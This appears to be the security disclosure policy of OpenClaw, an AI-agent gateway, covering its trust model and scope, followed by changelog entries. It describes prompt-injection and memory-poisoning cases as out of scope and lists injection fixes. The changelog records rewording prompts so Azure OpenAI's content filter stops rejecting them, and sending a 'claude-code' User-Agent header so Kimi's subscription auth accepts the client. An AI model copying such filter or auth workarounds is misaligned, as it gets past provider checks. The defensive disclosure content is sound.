Reports without reproduction steps, demonstrated impact, and remediation advice will be deprioritized. Given the volume of AI-generated scanner findings, we must ensure we're receiving vetted reports from researchers who understand the issues.
### Report Acceptance Gate (Triage Fast Path)
For fastest triage, include all of the following:
- Exact vulnerable path (`file`, function, and line range) on a current revision.
- Tested version details (OpenClaw version and/or commit SHA).
- Reproducible PoC against latest `main` or latest released version.
- If the claim targets a released version, evidence from the shipped tag and published artifact/package for that exact version (not only `main`).
- Demonstrated impact tied to OpenClaw's documented trust boundaries.
- For exposed-secret reports: proof the credential is OpenClaw-owned (or grants access to OpenClaw-operated infrastructure/services).
- Explicit statement that the report does not rely on adversarial operators sharing one gateway host/config.
- Scope check explaining why the report is **not** covered by the Out of Scope section below.
- For command-risk/parity reports (for example obfuscation detection differences), a concrete boundary-bypass path is required (auth/approval/allowlist/sandbox). Parity-only findings are treated as hardening, not vulnerabilities.
Reports that miss these requirements may be closed as `invalid` or `no-action`.
### Common False-Positive Patterns
These are frequently reported but are typically closed with no code change:
- Prompt-injection-only chains without a boundary bypass (prompt injection is out of scope).
- Operator-intended local features (for example TUI local `!` shell) presented as remote injection.
- Reports that treat explicit operator-control surfaces (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution primitives) as vulnerabilities without demonstrating an auth/policy/sandbox boundary bypass. These capabilities are intentional when enabled and are trusted-operator features, not standalone security bugs.
- Authorized user-triggered local actions presented as privilege escalation. Example: an allowlisted/owner sender running `/export-session /absolute/path.html` to write on the host. In this trust model, authorized user actions are trusted host actions unless you demonstrate an auth/sandbox/boundary bypass.
- Reports that only show a malicious plugin executing privileged actions after a trusted operator installs/enables it.
- Reports that assume per-user multi-tenant authorization on a shared gateway host/config.
- Reports that treat the Gateway HTTP compatibility endpoints (`POST /v1/chat/completions`, `POST /v1/responses`) as if they implemented scoped operator auth (`operator.write` vs `operator.admin`). These endpoints authenticate the shared Gateway bearer secret/password and are documented full operator-access surfaces, not per-user/per-scope boundaries.
- Reports that only show differences in heuristic detection/parity (for example obfuscation-pattern detection on one exec path but not another, such as `node.invoke -> system.run` parity gaps) without demonstrating bypass of auth, approvals, allowlist enforcement, sandboxing, or other documented trust boundaries.
- ReDoS/DoS claims that require trusted operator configuration input (for example catastrophic regex in `sessionFilter` or `logging.redactPatterns`) without a trust-boundary bypass.
- Archive/install extraction claims that require pre-existing local filesystem priming in trusted state (for example planting symlink/hardlink aliases under destination directories such as skills/tools paths) without showing an untrusted path that can create/control that primitive.
- Reports that depend on replacing or rewriting an already-approved executable path on a trusted host (same-path inode/content swap) without showing an untrusted path to perform that write.
- Reports that depend on pre-existing symlinked skill/workspace filesystem state (for example symlink chains involving `skills/*/SKILL.md`) without showing an untrusted path that can create/control that state.
- Missing HSTS findings on default local/loopback deployments.
- Discord inbound webhook signature findings for paths not used by this repo's Discord integration.
- Claims that Microsoft Teams `fileConsent/invoke``uploadInfo.uploadUrl` is attacker-controlled without demonstrating one of: auth boundary bypass, a real authenticated Teams/Bot Framework event carrying attacker-chosen URL, or compromise of the Microsoft/Bot trust path.
- Scanner-only claims against stale/nonexistent paths, or claims without a working repro.
- Reports that restate an already-fixed issue against later released versions without showing the vulnerable path still exists in the shipped tag or published artifact for that later version.
### Duplicate Report Handling
- Search existing advisories before filing.
- Include likely duplicate GHSA IDs in your report when applicable.
- Maintainers may close lower-quality/later duplicates in favor of the earliest high-quality canonical report.
## Security & Trust
**Jamieson O'Reilly** ([@theonejvo](https://twitter.com/theonejvo)) is Security & Trust at OpenClaw. Jamieson is the founder of [Dvuln](https://dvuln.com) and brings extensive experience in offensive security, penetration testing, and security program development.
## Bug Bounties
OpenClaw is a labor of love. There is no bug bounty program and no budget for paid reports. Please still disclose responsibly so we can fix issues quickly.
The best way to help the project right now is by sending PRs.
## Maintainers: GHSA Updates via CLI
When patching a GHSA via `gh api`, include `X-GitHub-Api-Version: 2022-11-28` (or newer). Without it, some fields (notably CVSS) may not persist even if the request returns 200.
## Operator Trust Model (Important)
OpenClaw does **not** model one gateway as a multi-tenant, adversarial user boundary.
- Authenticated Gateway callers are treated as trusted operators for that gateway instance.
- The HTTP compatibility endpoints (`POST /v1/chat/completions`, `POST /v1/responses`) are in that same trusted-operator bucket. Passing Gateway bearer auth there is equivalent to operator access for that gateway; they do not implement a narrower `operator.write` vs `operator.admin` trust split.
- Session identifiers (`sessionKey`, session IDs, labels) are routing controls, not per-user authorization boundaries.
- If one operator can view data from another operator on the same gateway, that is expected in this trust model.
- OpenClaw can technically run multiple gateway instances on one machine, but recommended operations are clean separation by trust boundary.
- Recommended mode: one user per machine/host (or VPS), one gateway for that user, and one or more agents inside that gateway.
- If multiple users need OpenClaw, use one VPS (or host/OS user boundary) per user.
- For advanced setups, multiple gateways on one machine are possible, but only with strict isolation and are not the recommended default.
- Exec behavior is host-first by default: `agents.defaults.sandbox.mode` defaults to `off`.
-`tools.exec.host` defaults to `sandbox` as a routing preference, but if sandbox runtime is not active for the session, exec runs on the gateway host.
- Implicit exec calls (no explicit host in the tool call) follow the same behavior.
- This is expected in OpenClaw's one-user trusted-operator model. If you need isolation, enable sandbox mode (`non-main`/`all`) and keep strict tool policy.
## Trusted Plugin Concept (Core)
Plugins/extensions are part of OpenClaw's trusted computing base for a gateway.
- Installing or enabling a plugin grants it the same trust level as local code running on that gateway host.
- Plugin behavior such as reading env/files or running host commands is expected inside this trust boundary.
- Security reports must show a boundary bypass (for example unauthenticated plugin load, allowlist/policy bypass, or sandbox/path-safety bypass), not only malicious behavior from a trusted-installed plugin.
## Out of Scope
- Public Internet Exposure
- Using OpenClaw in ways that the docs recommend not to
-Prompt injection attacks
-Deployments where mutually untrusted/adversarial operators share one gateway host and config (for example, reports expecting per-operator isolation for `sessions.list`, `sessions.preview`, `chat.history`, or similar control-plane reads)
- Prompt-injection-only attacks (without a policy/auth/sandbox boundary bypass)
- Reports that require write access to trusted local state (`~/.openclaw`, workspace files like `MEMORY.md` / `memory/*.md`)
- Reports where exploitability depends on attacker-controlled pre-existing symlink/hardlink filesystem state in trusted local paths (for example extraction/install target trees) unless a separate untrusted boundary bypass is shown that creates that state.
- Reports whose only claim is sandbox/workspace read expansion through trusted local skill/workspace symlink state (for example `skills/*/SKILL.md` symlink chains) unless a separate untrusted boundary bypass is shown that creates/controls that state.
- Reports whose only claim is post-approval executable identity drift on a trusted host via same-path file replacement/rewrite unless a separate untrusted boundary bypass is shown for that host write primitive.
- Reports where the only demonstrated impact is an already-authorized sender intentionally invoking a local-action command (for example `/export-session` writing to an absolute host path) without bypassing auth, sandbox, or another documented boundary
- Reports whose only claim is use of an explicit trusted-operator control surface (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution) without demonstrating an auth, policy, allowlist, approval, or sandbox bypass.
- Reports where the only claim is that a trusted-installed/enabled plugin can execute with gateway/host privileges (documented trust model behavior).
- Any report whose only claim is that an operator-enabled `dangerous*`/`dangerously*` config option weakens defaults (these are explicit break-glass tradeoffs by design)
- Reports that depend on trusted operator-supplied configuration values to trigger availability impact (for example custom regex patterns). These may still be fixed as defense-in-depth hardening, but are not security-boundary bypasses.
- Reports whose only claim is heuristic/parity drift in command-risk detection (for example obfuscation-pattern checks) across exec surfaces, without a demonstrated trust-boundary bypass. These are hardening-only findings and are not vulnerabilities; triage may close them as `invalid`/`no-action` or track them separately as low/informational hardening.
- Reports whose only claim is that exec approvals do not semantically model every interpreter/runtime loader form, subcommand, flag combination, package script, or transitive module/config import. Exec approvals bind exact request context and best-effort direct local file operands; they are not a complete semantic model of everything a runtime may load.
- Exposed secrets that are third-party/user-controlled credentials (not OpenClaw-owned and not granting access to OpenClaw-operated infrastructure/services) without demonstrated OpenClaw impact
- Reports whose only claim is host-side exec when sandbox runtime is disabled/unavailable (documented default behavior in the trusted-operator model), without a boundary bypass.
- Reports whose only claim is that a platform-provided upload destination URL is untrusted (for example Microsoft Teams `fileConsent/invoke``uploadInfo.uploadUrl`) without proving attacker control in an authenticated production flow.
## Deployment Assumptions
OpenClaw security guidance assumes:
- The host where OpenClaw runs is within a trusted OS/admin boundary.
- Anyone who can modify `~/.openclaw` state/config (including `openclaw.json`) is effectively a trusted operator.
- A single Gateway shared by mutually untrusted people is **not a recommended setup**. Use separate gateways (or at minimum separate OS users/hosts) per trust boundary.
- Authenticated Gateway callers are treated as trusted operators. Session identifiers (for example `sessionKey`) are routing controls, not per-user authorization boundaries.
- Multiple gateway instances can run on one machine, but the recommended model is clean per-user isolation (prefer one host/VPS per user).
## One-User Trust Model (Personal Assistant)
OpenClaw's security model is "personal assistant" (one trusted operator, potentially many agents), not "shared multi-tenant bus."
- If multiple people can message the same tool-enabled agent (for example a shared Slack workspace), they can all steer that agent within its granted permissions.
- Non-owner sender status only affects owner-only tools/commands. If a non-owner can still access a non-owner-only tool on that same agent (for example `canvas`), that is within the granted tool boundary unless the report demonstrates an auth, policy, allowlist, approval, or sandbox bypass.
- Session or memory scoping reduces context bleed, but does **not** create per-user host authorization boundaries.
- For mixed-trust or adversarial users, isolate by OS user/host/gateway and use separate credentials per boundary.
- A company-shared agent can be a valid setup when users are in the same trust boundary and the agent is strictly business-only.
- For company-shared setups, use a dedicated machine/VM/container and dedicated accounts; avoid mixing personal data on that runtime.
- If that host/browser profile is logged into personal accounts (for example Apple/Google/personal password manager), you have collapsed the boundary and increased personal-data exposure risk.
## Agent and Model Assumptions
- The model/agent is **not** a trusted principal. Assume prompt/content injection can manipulate behavior.
- Security boundaries come from host/config trust, auth, tool policy, sandboxing, and exec approvals.
- Prompt injection by itself is not a vulnerability report unless it crosses one of those boundaries.
- Hook/webhook-driven payloads should be treated as untrusted content; keep unsafe bypass flags disabled unless doing tightly scoped debugging (`hooks.gmail.allowUnsafeExternalContent`, `hooks.mappings[].allowUnsafeExternalContent`).
- Weak model tiers are generally easier to prompt-inject. For tool-enabled or hook-driven agents, prefer strong modern model tiers and strict tool policy (for example `tools.profile: "messaging"` or stricter), plus sandboxing where possible.
## Gateway and Node trust concept
OpenClaw separates routing from execution, but both remain inside the same operator trust boundary:
- **Gateway** is the control plane. If a caller passes Gateway auth, they are treated as a trusted operator for that Gateway.
- **Node** is an execution extension of the Gateway. Pairing a node grants operator-level remote capability on that node.
- **Exec approvals** (allowlist/ask UI) are operator guardrails to reduce accidental command execution, not a multi-tenant authorization boundary.
- Exec approvals bind exact command/cwd/env context and, when OpenClaw can identify one concrete local script/file operand, that file snapshot too. This is best-effort integrity hardening, not a complete semantic model of every interpreter/runtime loader path.
- Differences in command-risk warning heuristics between exec surfaces (`gateway`, `node`, `sandbox`) do not, by themselves, constitute a security-boundary bypass.
- For untrusted-user isolation, split by trust boundary: separate gateways and separate OS users/hosts per boundary.
## Workspace Memory Trust Boundary
`MEMORY.md` and `memory/*.md` are plain workspace files and are treated as trusted local operator state.
- If someone can edit workspace memory files, they already crossed the trusted operator boundary.
- Memory search indexing/recall over those files is expected behavior, not a sandbox/security boundary.
- Example report pattern considered out of scope: "attacker writes malicious content into `memory/*.md`, then `memory_search` returns it."
- If you need isolation between mutually untrusted users, split by OS user or host and run separate gateways.
## Plugin Trust Boundary
Plugins/extensions are loaded **in-process** with the Gateway and are treated as trusted code.
- Plugins can execute with the same OS privileges as the OpenClaw process.
- Runtime helpers (for example `runtime.system.runCommandWithTimeout`) are convenience APIs, not a sandbox boundary.
- Only install plugins you trust, and prefer `plugins.allow` to pin explicit trusted plugin ids.
## Temp Folder Boundary (Media/Sandbox)
OpenClaw uses a dedicated temp root for local media handoff and sandbox-adjacent temp artifacts:
- Preferred temp root: `/tmp/openclaw` (when available and safe on the host).
- Fallback temp root: `os.tmpdir()/openclaw` (or `openclaw-<uid>` on multi-user hosts).
Security boundary notes:
- Sandbox media validation allows absolute temp paths only under the OpenClaw-managed temp root.
- Arbitrary host tmp paths are not treated as trusted media roots.
- Plugin/extension code should use OpenClaw temp helpers (`resolvePreferredOpenClawTmpDir`, `buildRandomTempFilePath`, `withTempDownloadPath`) rather than raw `os.tmpdir()` defaults when handling media files.
- This deployment model alone is not a security vulnerability.
- Do **not** expose it to the public internet (no direct bind to `0.0.0.0`, no public reverse proxy). It is not hardened for public exposure.
- If you need remote access, prefer an SSH tunnel or Tailscale serve/funnel (so the Gateway still binds to loopback), plus strong Gateway auth.
- The Gateway HTTP surface includes the canvas host (`/__openclaw__/canvas/`, `/__openclaw__/a2ui/`). Treat canvas content as sensitive/untrusted and avoid exposing it beyond loopback unless you understand the risk.
<li>Telegram: remove last <code>@ts-nocheck</code> from <code>bot-handlers.ts</code>, use Grammy types directly, deduplicate <code>StickerMetadata</code>. Zero <code>@ts-nocheck</code> remaining in <code>src/telegram/</code>. (#9206)</li>
<li>Telegram: remove <code>@ts-nocheck</code> from <code>bot-message.ts</code>, type deps via <code>Omit<BuildTelegramMessageContextParams></code>, widen <code>allMedia</code> to <code>TelegramMediaRef[]</code>. (#9180)</li>
<li>Onboarding: add Cloudflare AI Gateway provider setup and docs. (#7914) Thanks @roerohan.</li>
<li>Onboarding: add Moonshot (.cn) auth choice and keep the China base URL when preserving defaults. (#7180) Thanks @waynelwz.</li>
<li>Docs: clarify tmux send-keys for TUI by splitting text and Enter. (#7737) Thanks @Wangnov.</li>
<li>Docs: mirror the landing page revamp for zh-CN (features, quickstart, docs directory, network model, credits). (#8994) Thanks @joshp123.</li>
<li>Messages: add per-channel and per-account responsePrefix overrides across channels. (#9001) Thanks @mudrii.</li>
<li>Cron: add announce delivery mode for isolated jobs (CLI + Control UI) and delivery mode config.</li>
<li>Cron: default isolated jobs to announce delivery; accept ISO 8601 <code>schedule.at</code> in tool inputs.</li>
<li>Cron: hard-migrate isolated jobs to announce/none delivery; drop legacy post-to-main/payload delivery fields and <code>atMs</code> inputs.</li>
<li>Cron: delete one-shot jobs after success by default; add <code>--keep-after-run</code> for CLI.</li>
<li>Cron: suppress messaging tools during announce delivery so summaries post consistently.</li>
<li>Cron: avoid duplicate deliveries when isolated runs send messages directly.</li>
<li>Android/chat settings: redesign the chat settings sheet with grouped device and media sections, refresh the Connect and Voice tabs, and tighten the chat composer/session header for a denser mobile layout. (#44894) Thanks @obviyus.</li>
<li>iOS/onboarding: add a first-run welcome pager before gateway setup, stop auto-opening the QR scanner, and show <code>/pair qr</code> instructions on the connect step. (#45054) Thanks @ngutman.</li>
<li>Browser/existing-session: add an official Chrome DevTools MCP attach mode for signed-in live Chrome sessions, with docs for <code>chrome://inspect/#remote-debugging</code> enablement and direct backlinks to Chrome’s own setup guides.</li>
<li>Browser/agents: add built-in <code>profile="user"</code> for the logged-in host browser and <code>profile="chrome-relay"</code> for the extension relay, so agent browser calls can prefer the real signed-in browser without the extra <code>browserSession</code> selector.</li>
<li>Browser/act automation: add batched actions, selector targeting, and delayed clicks for browser act requests with normalized batch dispatch. Thanks @vincentkoc.</li>
<li>Docker/timezone override: add <code>OPENCLAW_TZ</code> so <code>docker-setup.sh</code> can pin gateway and CLI containers to a chosen IANA timezone instead of inheriting the daemon default. (#34119) Thanks @Lanfei.</li>
<li>Dependencies/pi: bump <code>@mariozechner/pi-agent-core</code>, <code>@mariozechner/pi-ai</code>, <code>@mariozechner/pi-coding-agent</code>, and <code>@mariozechner/pi-tui</code> to <code>0.58.0</code>.</li>
<li>TUI/Gateway: handle non-streaming finals, refresh history for non-local chat runs, and avoid event gap warnings for targeted tool streams. (#8432) Thanks @gumadeiras.</li>
<li>Shell completion: auto-detect and migrate slow dynamic patterns to cached files for faster terminal startup; add completion health checks to doctor/update/onboard.</li>
<li>Telegram: honor session model overrides in inline model selection. (#8193) Thanks @gildo.</li>
<li>Web UI: fix agent model selection saves for default/non-default agents and wrap long workspace paths. Thanks @Takhoffman.</li>
<li>Web UI: resolve header logo path when <code>gateway.controlUi.basePath</code> is set. (#7178) Thanks @Yeom-JinHo.</li>
<li>Web UI: apply button styling to the new-messages indicator.</li>
<li>Security: keep untrusted channel metadata out of system prompts (Slack/Discord). Thanks @KonstantinMirin.</li>
<li>Security: enforce sandboxed media paths for message tool attachments. (#9182) Thanks @victormier.</li>
<li>Security: require explicit credentials for gateway URL overrides to prevent credential leakage. (#8113) Thanks @victormier.</li>
<li>Security: gate <code>whatsapp_login</code> tool to owner senders and default-deny non-owner contexts. (#8768) Thanks @victormier.</li>
<li>Voice call: harden webhook verification with host allowlists/proxy trust and keep ngrok loopback bypass.</li>
<li>Voice call: add regression coverage for anonymous inbound caller IDs with allowlist policy. (#8104) Thanks @victormier.</li>
<li>Cron: accept epoch timestamps and 0ms durations in CLI <code>--at</code> parsing.</li>
<li>Cron: reload store data when the store file is recreated or mtime changes.</li>
<li>Cron: deliver announce runs directly, honor delivery mode, and respect wakeMode for summaries. (#8540) Thanks @tyler6204.</li>
<li>Telegram: include forward_from_chat metadata in forwarded messages and harden cron delivery target checks. (#8392) Thanks @Glucksberg.</li>
<li>macOS: fix cron payload summary rendering and ISO 8601 formatter concurrency safety.</li>
<li>Dashboard/chat UI: stop reloading full chat history on every live tool result in dashboard v2 so tool-heavy runs no longer trigger UI freeze/re-render storms while the final event still refreshes persisted history. (#45541) Thanks @BunsDev.</li>
<li>Gateway/client requests: reject unanswered gateway RPC calls after a bounded timeout and clear their pending state, so stalled connections no longer leak hanging <code>GatewayClient.request()</code> promises indefinitely.</li>
<li>Build/plugin-sdk bundling: bundle plugin-sdk subpath entries in one shared build pass so published packages stop duplicating shared chunks and avoid the recent plugin-sdk memory blow-up. (#45426) Thanks @TarasShyn.</li>
<li>Ollama/reasoning visibility: stop promoting native <code>thinking</code> and <code>reasoning</code> fields into final assistant text so local reasoning models no longer leak internal thoughts in normal replies. (#45330) Thanks @xi7ang.</li>
<li>Android/onboarding QR scan: switch setup QR scanning to Google Code Scanner so onboarding uses a more reliable scanner instead of the legacy embedded ZXing flow. (#45021) Thanks @obviyus.</li>
<li>Browser/existing-session: harden driver validation and session lifecycle so transport errors trigger reconnects while tool-level errors preserve the session, and extract shared ARIA role sets to deduplicate Playwright and Chrome MCP snapshot paths. (#45682) Thanks @odysseus0.</li>
<li>Browser/existing-session: accept text-only <code>list_pages</code> and <code>new_page</code> responses from Chrome DevTools MCP so live-session tab discovery and new-tab open flows keep working when the server omits structured page metadata.</li>
<li>Control UI/insecure auth: preserve explicit shared token and password auth on plain-HTTP Control UI connects so LAN and reverse-proxy sessions no longer drop shared auth before the first WebSocket handshake. (#45088) Thanks @velvet-shark.</li>
<li>Gateway/session reset: preserve <code>lastAccountId</code> and <code>lastThreadId</code> across gateway session resets so replies keep routing back to the same account and thread after <code>/reset</code>. (#44773) Thanks @Lanfei.</li>
<li>macOS/onboarding: avoid self-restarting freshly bootstrapped launchd gateways and give new daemon installs longer to become healthy, so <code>openclaw onboard --install-daemon</code> no longer false-fails on slower Macs and fresh VM snapshots.</li>
<li>Gateway/status: add <code>openclaw gateway status --require-rpc</code> and clearer Linux non-interactive daemon-install failure reporting so automation can fail hard on probe misses instead of treating a printed RPC error as green.</li>
<li>macOS/exec approvals: respect per-agent exec approval settings in the gateway prompter, including allowlist fallback when the native prompt cannot be shown, so gateway-triggered <code>system.run</code> requests follow configured policy instead of always prompting or denying unexpectedly. (#13707) Thanks @sliekens.</li>
<li>Telegram/media downloads: thread the same direct or proxy transport policy into SSRF-guarded file fetches so inbound attachments keep working when Telegram falls back between env-proxy and direct networking. (#44639) Thanks @obviyus.</li>
<li>Telegram/inbound media IPv4 fallback: retry SSRF-guarded Telegram file downloads once with the same IPv4 fallback policy as Bot API calls so fresh installs on IPv6-broken hosts no longer fail to download inbound images.</li>
<li>Windows/gateway install: bound <code>schtasks</code> calls and fall back to the Startup-folder login item when task creation hangs, so native <code>openclaw gateway install</code> fails fast instead of wedging forever on broken Scheduled Task setups.</li>
<li>Windows/gateway stop: resolve Startup-folder fallback listeners from the installed <code>gateway.cmd</code> port, so <code>openclaw gateway stop</code> now actually kills fallback-launched gateway processes before restart.</li>
<li>Windows/gateway status: reuse the installed service command environment when reading runtime status, so startup-fallback gateways keep reporting the configured port and running state in <code>gateway status --json</code> instead of falling back to <code>gateway port unknown</code>.</li>
<li>Windows/gateway auth: stop attaching device identity on local loopback shared-token and password gateway calls, so native Windows agent replies no longer log stale <code>device signature expired</code> fallback noise before succeeding.</li>
<li>Discord/gateway startup: treat plain-text and transient <code>/gateway/bot</code> metadata fetch failures as transient startup errors so Discord gateway boot no longer crashes on unhandled rejections. (#44397) Thanks @jalehman.</li>
<li>Slack/probe: keep <code>auth.test()</code> bot and team metadata mapping stable while simplifying the probe result path. (#44775) Thanks @Cafexss.</li>
<li>Dashboard/chat UI: render oversized plain-text replies as normal paragraphs instead of capped gray code blocks, so long desktop chat responses stay readable without tab-switching refreshes.</li>
<li>Dashboard/chat UI: restore the <code>chat-new-messages</code> class on the New messages scroll pill so the button uses its existing compact styling instead of rendering as a full-screen SVG overlay. (#44856) Thanks @Astro-Han.</li>
<li>Gateway/Control UI: restore the operator-only device-auth bypass and classify browser connect failures so origin and device-identity problems no longer show up as auth errors in the Control UI and web chat. (#45512) thanks @sallyom.</li>
<li>macOS/voice wake: stop crashing wake-word command extraction when speech segment ranges come from a different transcript instance.</li>
<li>Discord/allowlists: honor raw <code>guild_id</code> when hydrated guild objects are missing so allowlisted channels and threads like <code>#maintainers</code> no longer get false-dropped before channel allowlist checks.</li>
<li>macOS/runtime locator: require Node >=22.16.0 during macOS runtime discovery so the app no longer accepts Node versions that the main runtime guard rejects later. Thanks @sumleo.</li>
<li>Agents/custom providers: preserve blank API keys for loopback OpenAI-compatible custom providers by clearing the synthetic Authorization header at runtime, while keeping explicit apiKey and oauth/token config from silently downgrading into fake bearer auth. (#45631) Thanks @xinhuagu.</li>
<li>Models/google-vertex Gemini flash-lite normalization: apply existing bare-ID preview normalization to <code>google-vertex</code> model refs and provider configs so <code>google-vertex/gemini-3.1-flash-lite</code> resolves as <code>gemini-3.1-flash-lite-preview</code>. (#42435) thanks @scoootscooob.</li>
<li>iMessage/remote attachments: reject unsafe remote attachment paths before spawning SCP, so sender-controlled filenames can no longer inject shell metacharacters into remote media staging. Thanks @lintsinghua.</li>
<li>Telegram/webhook auth: validate the Telegram webhook secret before reading or parsing request bodies, so unauthenticated requests are rejected immediately instead of consuming up to 1 MB first. Thanks @space08.</li>
<li>Security/device pairing: make bootstrap setup codes single-use so pending device pairing requests cannot be silently replayed and widened to admin before approval. Thanks @tdjackey.</li>
<li>Security/external content: strip zero-width and soft-hyphen marker-splitting characters during boundary sanitization so spoofed <code>EXTERNAL_UNTRUSTED_CONTENT</code> markers fall back to the existing hardening path instead of bypassing marker normalization.</li>
<li>Security/exec approvals: unwrap more <code>pnpm</code> runtime forms during approval binding, including <code>pnpm --reporter ... exec</code> and direct <code>pnpm node</code> file runs, with matching regression coverage and docs updates.</li>
<li>Security/exec approvals: fail closed for Perl <code>-M</code> and <code>-I</code> approval flows so preload and load-path module resolution stays outside approval-backed runtime execution unless the operator uses a broader explicit trust path.</li>
<li>Security/exec approvals: recognize PowerShell <code>-File</code> and <code>-f</code> wrapper forms during inline-command extraction so approval and command-analysis paths treat file-based PowerShell launches like the existing <code>-Command</code> variants.</li>
<li>Security/exec approvals: unwrap <code>env</code> dispatch wrappers inside shell-segment allowlist resolution on macOS so <code>env FOO=bar /path/to/bin</code> resolves against the effective executable instead of the wrapper token.</li>
<li>Security/exec approvals: treat backslash-newline as shell line continuation during macOS shell-chain parsing so line-continued <code>$(</code> substitutions fail closed instead of slipping past command-substitution checks.</li>
<li>Security/exec approvals: bind macOS skill auto-allow trust to both executable name and resolved path so same-basename binaries no longer inherit trust from unrelated skill bins.</li>
<li>Build/plugin-sdk bundling: bundle plugin-sdk subpath entries in one shared build pass so published packages stop duplicating shared chunks and avoid the recent plugin-sdk memory blow-up. (#45426) Thanks @TarasShyn.</li>
<li>Cron/isolated sessions: route nested cron-triggered embedded runner work onto the nested lane so isolated cron jobs no longer deadlock when compaction or other queued inner work runs. Thanks @vincentkoc.</li>
<li>Agents/OpenAI-compatible compat overrides: respect explicit user <code>models[].compat</code> opt-ins for non-native <code>openai-completions</code> endpoints so usage-in-streaming capability overrides no longer get forced off when the endpoint actually supports them. (#44432) Thanks @cheapestinference.</li>
<li>Agents/Azure OpenAI startup prompts: rephrase the built-in <code>/new</code>, <code>/reset</code>, and post-compaction startup instruction so Azure OpenAI deployments no longer hit HTTP 400 false positives from the content filter. (#43403) Thanks @xingsy97.</li>
<li>Agents/memory bootstrap: load only one root memory file, preferring <code>MEMORY.md</code> and using <code>memory.md</code> as a fallback, so case-insensitive Docker mounts no longer inject duplicate memory context. (#26054) Thanks @Lanfei.</li>
<li>Agents/compaction: compare post-compaction token sanity checks against full-session pre-compaction totals and skip the check when token estimation fails, so sessions with large bootstrap context keep real token counts instead of falling back to unknown. (#28347) thanks @efe-arv.</li>
<li>Agents/compaction: preserve safeguard compaction summary language continuity via default and configurable custom instructions so persona drift is reduced after auto-compaction. (#10456) Thanks @keepitmello.</li>
<li>Agents/tool warnings: distinguish gated core tools like <code>apply_patch</code> from plugin-only unknown entries in <code>tools.profile</code> warnings, so unavailable core tools now report current runtime/provider/model/config gating instead of suggesting a missing plugin.</li>
<li>Config/validation: accept documented <code>agents.list[].params</code> per-agent overrides in strict config validation so <code>openclaw config validate</code> no longer rejects runtime-supported <code>cacheRetention</code>, <code>temperature</code>, and <code>maxTokens</code> settings. (#41171) Thanks @atian8179.</li>
<li>Config/web fetch: restore runtime validation for documented <code>tools.web.fetch.readability</code> and <code>tools.web.fetch.firecrawl</code> settings so valid web fetch configs no longer fail with unrecognized-key errors. (#42583) Thanks @stim64045-spec.</li>
<li>Signal/config validation: add <code>channels.signal.groups</code> schema support so per-group <code>requireMention</code>, <code>tools</code>, and <code>toolsBySender</code> overrides no longer get rejected during config validation. (#27199) Thanks @unisone.</li>
<li>Config/discovery: accept <code>discovery.wideArea.domain</code> in strict config validation so unicast DNS-SD gateway configs no longer fail with an unrecognized-key error. (#35615) Thanks @ingyukoh.</li>
<li>Telegram/media errors: redact Telegram file URLs before building media fetch errors so failed inbound downloads do not leak bot tokens into logs. Thanks @space08.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
<li>Control UI/dashboard-v2: refresh the gateway dashboard with modular overview, chat, config, agent, and session views, plus a command palette, mobile bottom tabs, and richer chat tools like slash commands, search, export, and pinned messages. (#41503) Thanks @BunsDev.</li>
<li>OpenAI/GPT-5.4 fast mode: add configurable session-level fast toggles across <code>/fast</code>, TUI, Control UI, and ACP, with per-model config defaults and OpenAI/Codex request shaping.</li>
<li>Anthropic/Claude fast mode: map the shared <code>/fast</code> toggle and <code>params.fastMode</code> to direct Anthropic API-key <code>service_tier</code> requests, with live verification for both Anthropic and OpenAI fast-mode tiers.</li>
<li>Models/plugins: move Ollama, vLLM, and SGLang onto the provider-plugin architecture, with provider-owned onboarding, discovery, model-picker setup, and post-selection hooks so core provider wiring is more modular.</li>
<li>Docs/Kubernetes: Add a starter K8s install path with raw manifests, Kind setup, and deployment docs. Thanks @sallyom @dzianisv @egkristi</li>
<li>Agents/subagents: add <code>sessions_yield</code> so orchestrators can end the current turn immediately, skip queued tool work, and carry a hidden follow-up payload into the next session turn. (#36537) thanks @jriff</li>
<li>Slack/agent replies: support <code>channelData.slack.blocks</code> in the shared reply delivery path so agents can send Block Kit messages through standard Slack outbound delivery. (#44592) Thanks @vincentkoc.</li>
<li>fix(agents): validate AbortSignal instances before calling AbortSignal.any() (#7277) (thanks @Elarwei001)</li>
<li>Media understanding: skip binary media from file text extraction. (#7475) Thanks @AlexZhangji.</li>
<li>Onboarding: keep TUI flow exclusive (skip completion prompt + background Web UI seed); completion prompt now handled by install/update.</li>
<li>TUI: block onboarding output while TUI is active and restore terminal state on exit.</li>
<li>CLI/Zsh completion: cache scripts in state dir and escape option descriptions to avoid invalid option errors.</li>
<li>fix(ui): resolve Control UI asset path correctly.</li>
<li>fix(ui): refresh agent files after external edits.</li>
<li>Docs: finish renaming the QMD memory docs toreference the OpenClaw state dir.</li>
<li>Tests: stub SSRF DNS pinning in web auto-reply + Gemini video coverage. (#6619) Thanks @joshp123.</li>
<li>Security/device pairing: switch <code>/pair</code> and <code>openclaw qr</code> setup codes to short-lived bootstrap tokens so the next release no longer embeds shared gateway credentials in chat or QR pairing payloads. Thanks @lintsinghua.</li>
<li>Security/plugins: disable implicit workspace plugin auto-load so cloned repositories cannot execute workspace plugin code without an explicit trust decision. (<code>GHSA-99qw-6mr3-36qr</code>)(#44174) Thanks @lintsinghua and @vincentkoc.</li>
<li>Models/Kimi Coding: send <code>anthropic-messages</code> tools in native Anthropic format again so <code>kimi-coding</code> stops degrading tool calls into XML/plain-text pseudo invocations instead of real <code>tool_use</code> blocks. (#38669, #39907, #40552) Thanks @opriz.</li>
<li>TUI/chat log: reuse the active assistant message component for the same streaming run so <code>openclaw tui</code> no longer renders duplicate assistant replies. (#35364) Thanks @lisitan.</li>
<li>Telegram/model picker: make inline model button selections persist the chosen session model correctly, clear overrides when selecting the configured default, and include effective fallback models in <code>/models</code> button validation. (#40105) Thanks @avirweb.</li>
<li>Cron/proactive delivery: keep isolated direct cron sends out of the write-ahead resend queue so transient-send retries do not replay duplicate proactive messages after restart. (#40646) Thanks @openperf and @vincentkoc.</li>
<li>Models/Kimi Coding: send the built-in <code>User-Agent: claude-code/0.1.0</code> header by default for <code>kimi-coding</code> while still allowing explicit provider headers to override it, so Kimi Code subscription auth can work without a local header-injection proxy. (#30099) Thanks @Amineelfarssi and @vincentkoc.</li>
